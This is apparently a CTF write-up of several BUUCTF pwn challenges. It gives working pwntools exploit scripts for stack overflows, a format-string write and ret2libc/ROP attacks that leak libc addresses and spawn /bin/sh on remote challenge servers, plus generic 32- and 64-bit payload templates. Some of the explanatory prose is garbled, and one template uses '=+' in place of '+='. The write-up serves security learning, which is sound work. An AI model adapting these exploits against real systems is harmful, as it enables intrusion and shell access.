RIP
checksec, the binary software
The char array capacity is only 15, and the puts function does not set the limit of the length we input so we can overflow the stack.
We can find the evil function.
The exploit code is followed.
from pwn import *
# io = process('./pwn')
io = remote('node4.buuoj.cn',25811)
offset = 15+8
padding = b'A'
payload = offset*padding + p64(0x0000000000401187)
io.sendline(payload)
io.interactive()
Maybe you will confuse about why we need to add 8 to the offset.
We need to keep heap and stack blanced inbalancedbit software.
payload = padding*offset + ret_addr + vuln_addr
warmup_csaw_2016
We checksec the binary; there’s no measure to protect this software.
Oh damn, it gave the vulnerable function address to us -.-
We check out the binary in IDA PRO, we can get the source code in c. That’s a simple code.
we can overflow the stack and overwrite the reture areturn to jump to the 0x40060E to get the flag.
I wrote two exploit codes for you; that’s reasonable, meaning why we need stack and heap balanced. The 64bit software can use the return address to keep the stack and heap balanced.
from pwn import *
io = process('./pwn2')
# io = remote('node4.buuoj.cn',29005)
padding = b'A'
offset = 64+8
ret_addr = 0x40061c
payload = padding*offset + p64(ret_addr) + p64(0x40060D)
io.sendlineafter(b'>',payload)
io.interactive()
from pwn import *
io = process('./pwn2')
# io = remote('node4.buuoj.cn',29005)
padding = b'A'
offset = 64+8
payload = padding*offset + p64(0x40060E) # 0x40060d + 1
io.sendlineafter(b'>',payload)
io.interactive()
As we know, if we use the function in the code, we have to use the call instruction in disassemble code, meaning that we should use the ret instruction at the end of the process to keep the stack and heap balanced. The call instruction will push the following address in the stack and run the function. When the function part finishes its work, it will use ret instruction to pop the functATn address from the stack to return to the central region.
ciscn_2019_n_1
There are lot of knowledge we can learn from this challenge.
We can observe the source code in C on the IDA PRO.
Here is the funny part, we pass the value to v1, and the process determines that v2 equals the float.
We can overwrite the v2 by stack overflow. We can add the vulnerable address after the numerous characters we input.
We can get the float hex style in the IDA comment
exp1
from pwn import *
# io = process('./pwn3')
io = remote('node4.buuoj.cn', 28656)
number_hex = 0x41348000
padding = b'a'
offset = 0x30-0x4
payload = padding * offset + p64(number_hex)
io.recvline()
io.sendline(payload)
io.interactive()
We can overwrite the v2, so why not overwrite the whole stack?
from pwn import *
io = process("./pwn3")
sys_addr = 0x4006BE
offset = 0x30+0x8 # 64位不要忘记堆栈平衡哦
payload = b'A'*(0x30+8) + p64(sys_addr)
io.send(payload)
io.interactive()
pwn1_sctf_2016
Pwn challenges need patience and focus
We can get the stack limit is 0x3c. If we input the character over 0x3c, we can overflow the stack. But it can’t pass more than 32 characters in the “fgets” function, which sets the limit we input. That is why we need to use the replace function after the fgets. It can replace ‘I’ with ‘you’. If we input 20 characters ‘I’, we can get 60 characters ‘you’ in the stack, which means we can overflow the stack.
check the ‘cat flag.txt’ address.
when we overflow the stack, do not forget to cover the return address!
from pwn import *
# io = process('./pwn4')
io = remote('node4.buuoj.cn', 27632)
padding = 'I'
offset = 20
addr = 0x08048f13
payload = flat([padding*offset, b'a'*4, addr])
io.sendline(payload)
io.interactive()
jarvisoj_level0
to simple to get the exp!
from pwn import *
# io = process('./pwn5')
io = remote('node4.buuoj.cn', 27483)
str_bin_sh = 0x400597
padding = b'A'
offset = 128+8
payload = padding*offset + p64(str_bin_sh)
io.recvline()
io.sendline(payload)
io.interactive()
[第五空间 2019 决赛]PWN5
We can solve this challenge by the String Format vulnerability
The Format String exploit occurs when the submitted data of an input string is evaluated as a command by the application. In this way, the attacker could execute code, read the stack, or cause a segmentation fault in the running application, causing new behaviors that could compromise the security or the stability of the system.
We can use the printf to leak the stack address or stack value.
The 0x61616161 is the 10th “argument” in the printf, also we can use %10$p to print the argument directly.
How we modify the value of value of the 0x804c044?
[addr of c][value-0x4][offset location]
It will determine the passwd whether equal to 0x804c44 in the program, we can control the value of passwd.
It calculates the number of bytes you input earlier
vuln_addr: 4byte, Hacker: 6 byte. We can pass the 10 to passwd.
from pwn import *
context(os='linux',log_level='debug')
io = remote('node4.buuoj.cn',29989)
vuln_addr = 0x804c044
payload1 = flat([vuln_addr,b'Hacker','%10$n'])
# Username
io.sendline(payload1)
io.recvline()
payload = b'10'
io.sendline(payload)
# print(u32(io.recv()[0:4]))
io.interactive()
ciscn_2019_c_1
Document of Ret2libc
The common way to bypass the NX(No Execute) bit protection is try to ret2libc attack
We can check the stack length in IDA PRO.
offset is 0x50+0x8
There’s not str_bin_sh and system func in the program, we have to use it in GOT and PTL.
Because we need to get the flag on the online docker simultaneously, we often do not have the .so file offered by the challenge author. We use the python module of LibcSearcher to search for which libc version we require.
We leak the puts_addr when we pass the malware shellcode. When we receive it, we will get the libc_base address which means we get all functions in the program by the libc file
from pwn import *
from LibcSearcher import LibcSearcher
context(os='linux',arch='amd64',log_level='debug')
# io = process('./pwn7')
io = remote('node4.buuoj.cn',27684)
elf = ELF('./pwn7')
offset = 80+8
padding = b'A'
pop_rdi_addr = 0x400c83
ret_addr = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']
payload = flat([offset*padding, pop_rdi_addr, puts_got, puts_plt, main_addr])
io.sendlineafter('Input your choice!\n',b'1')
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
io.recvuntil('Ciphertext\n')
io.recvline()
puts_addr = u64(io.recv(7)[:-1].ljust(8,b'\x00'))
print("[*] Got the puts_addr ",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
payload = flat([padding*offset,ret_addr,pop_rdi_addr,str_bin_sh,system_addr,8*padding])
io.sendlineafter('Input your choice!\n',b'1')
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
io.recvuntil('Ciphertext\n')
io.recvline()
io.interactive()
The difference between the 32bits and 64bit shellcode.
64bits ret2libc
32bit:
payload = offset*padding
payload =+ p32(system_addr) # Location of the system function
payload =+ b'a'*4 # padding
payload =+ p32(str_bin_sh) # '/bin/sh'
64bit:
payload = offset*padding # padding
payload =+ p64(pop_rdi_addr) # gadget -> pop rdi; ret
payload =+ p64(str_bin_sh) # pointer to command: /bin/sh
payload =+ p64(system_addr) # Location of system
payload =+ b'a'*8 # return pointer
32bit payload
find libc payload1 -> padding * offset + p32(func_plt) + p32(ret_addr) + p32(func_got)
getshell payload2 -> padding * offset * p32(system_addr) + b'A'*4 + p32(str_bin_sh)
64bit payload
find libc payload1 -> padding * (offset+0x08) + p64(pop_rdi) + p64(func_got) + p64(func_plt) + p64(ret_addr)
getshell payload2 -> padding * (offset+0x08) + p64(ret_addr) + p64(pop_rdi) + p64(str_bin_sh)
ciscn_2019_n_8
there are lots of measure to protect the binary file=.=
If we input all characters are 17, it will bypass the determination.
So here is the exploit.
from pwn import *
# io = process('./pwn8')
io = remote('node4.buuoj.cn',28508)
payload = p32(17)*14
io.sendline(payload)
io.interactive()
bjdctf_2020_babystack
No canary && No PIE
After analyzing by IDA PRO, I found the nbytes can be changed if we input the massive number in it. And the read function will overread the buf size, so we have already overflowed the stack.
We can input the -1 into the nbytes, which will be a massive length of the stack.
expolit
from pwn import *
context(log_level='debug')
# io = process('./pwn10')
io = remote('node4.buuoj.cn',28722)
backdoor = 0x4006ea
offset = 16+8
padding = b'a'
payload = padding*offset+p64(backdoor)
io.recvuntil('Please input the length of your name:')
io.sendline('-1')
io.recvuntil('name?\n')
io.sendline(payload)
io.interactive()
[OGeek2019]babyrop
Well this challenge is the most hard I have ever soloved before :..)
We need to crack the two function at the same time, which I have never tried before.
This function mainly reads a string, judges these two functions, and returns the seventh bit of buf if the comparison is successful.
The return value is the length argument in read function, we can overflow the stack by a1.
There’re not avaliable string we can use, so we have to collect the gadget to get shell.
KEY POINT IS HERE
‘\x00’ is used to bypass the strlen
Use the file libc.so to find the system function offset which can make ROP to get shell.
ret2libc attack is useful to bypass NX protection.
from pwn import *
context(os='linux', log_level='debug')
# io = process('./pwn11')
io = remote('node4.buuoj.cn',28952)
elf = ELF('./pwn11')
libc = ELF('libc-2.23.so')
offset1 = 6
offset2 = 231
padding = b'A'
main_addr = 0x08048825
write_plt = elf.plt['write']
write_got = elf.got['write']
payload1 = b'\x00' + padding*offset1 + b'\xff'
payload2 = padding*(offset2+4) + p32(write_plt) + p32(main_addr) + p32(1) +p32(write_got)+ p32(0x8)
io.sendline(payload1)
io.sendlineafter('Correct\n',payload2)
write_offset = u32(io.recv()[0:4])
print('Write_offset: ',hex(write_offset))
libc_base = write_offset - libc.sym['write']
system_addr = libc_base + libc.sym['system']
str_bin_sh = libc_base + next(libc.search(b'/bin/sh'))
print("System_addr ",hex(system_addr))
print("str_bin_sh ", hex(str_bin_sh))
payload3 = padding*(offset2+4)+p32(system_addr)+padding*4+p32(str_bin_sh)
io.sendline(payload1)
io.sendlineafter('Correct\n',payload3)
io.interactive()